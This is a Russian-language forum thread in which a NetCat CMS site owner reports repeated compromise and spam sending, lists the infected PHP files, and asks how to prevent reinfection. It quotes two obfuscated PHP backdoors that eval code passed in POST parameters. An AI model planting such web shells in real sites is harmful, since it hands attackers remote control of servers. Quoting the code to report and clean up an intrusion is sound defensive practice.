Взлом 5.4
|
12.11.2014, 12:20
|
|
|
Senja Зарегистрирован: |
Последнее время часто стали взламывать сайт и вставлять коды для спам рассылки с сайта Хостер и Тех.поддержка Неткат говорят что с их стороны все идеально. Вот последний список файлов: //httpdocs/netcat/editors/ckeditor4/plugins/pastefromword/title.php //httpdocs/netcat_template/module/search/mobile/help.php //httpdocs/netcat/require/s_browse.inc.php //httpdocs/netcat/require/s_files.inc.php //httpdocs/netcat/require/lib/writeexcel/example-demo.php //httpdocs/netcat/require/lib/dompdf/lib/php-font-lib/classes/Font_Table_hhea.php //httpdocs/netcat/require/lib/dompdf/include/option.php //httpdocs/netcat/require/lib/dompdf/include/table_row_group_renderer.cls.php //httpdocs/netcat/require/lib/excel/PHPExcel/RichText/footer.php //httpdocs/netcat/require/lib/excel/PHPExcel/Shared/OLERead.php //httpdocs/netcat/require/lib/excel/PHPExcel/Shared/PCLZip/pclzip.lib.php //httpdocs/netcat/require/lib/excel/PHPExcel/Shared/JAMA/LUDecomposition.php //httpdocs/netcat/require/lib/excel/PHPExcel/Reader/Excel5.php //httpdocs/netcat/require/lib/excel/PHPExcel/Reader/Excel2007/dirs.php //httpdocs/netcat/require/lib/excel/PHPExcel/CachedObjectStorage/DiscISAM.php //httpdocs/netcat/require/lib/excel/PHPExcel/Writer/PDF/Core.php //httpdocs/netcat/require/lib/Auth/OpenID/Server.php //httpdocs/netcat/require/lib/Auth/OpenID/Consumer.php //httpdocs/netcat/require/lib/Auth/OpenID/DumbStore.php //httpdocs/netcat/require/lib/Auth/OpenID/gallery.php //httpdocs/netcat/editors/ckeditor4/plugins/a11yhelp/template.php //httpdocs/netcat/editors/ckeditor4/filemanager/connectors/php/inc/vendor/wideimage/lib/Operation/CopyChannelsPalette.php //httpdocs/netcat/editors/ckeditor4/filemanager/scripts/jquery.crop/config.php //httpdocs/netcat/editors/ckeditor4/header.php //httpdocs/netcat/full.php //httpdocs/netcat/modules/default/function.inc.php //httpdocs/netcat/modules/routing/classes/pattern/part/string.php //httpdocs/netcat/modules/routing/classes/pattern/part/user.php //httpdocs/netcat/modules/search/lib/language/filter/normalize.php //httpdocs/netcat/modules/search/lib/indexer/runner.php //httpdocs/netcat/modules/search/lib/3rdparty/phpmorphy/article.php //httpdocs/netcat/modules/search/lib/document/parser/dir.php //httpdocs/netcat/modules/search/lib/document/parser/include.php //httpdocs/netcat/modules/search/views/functions.php //httpdocs/netcat/modules/stats/openstat/function.inc.php //httpdocs/netcat/modules/stats/function.inc.php //httpdocs/netcat/modules/captcha/player/themes.php //httpdocs/netcat/tmp/netcat.sql //httpdocs/netcat/system/backup/types/nc_backup_widget_class.class.php //httpdocs/img/ini.php Я сверил с исходными файлами и половину просто удалил. В эти файлы в самом верху били вставлены коды: Код: $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n513f0f'];if(isset($s22)){eval($s21($s22));}Код: $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['qa04af1'])){eval(${$s20}['qa04af1']);}Может кто подскажет как обезопасить от повторных взломов? Кроме уже выполненных действий: Смена паролей, удаление вред.кода и лишних файлов Senja
|
|
|
|
02.12.2014, 00:28
|
|
|
DiGGy DiGGy Зарегистрирован: |
||
|
|
25.12.2014, 09:41
|
|
|
Гость Гость |
||
|
|
30.12.2014, 14:21
|
|
|
Senja Зарегистрирован: |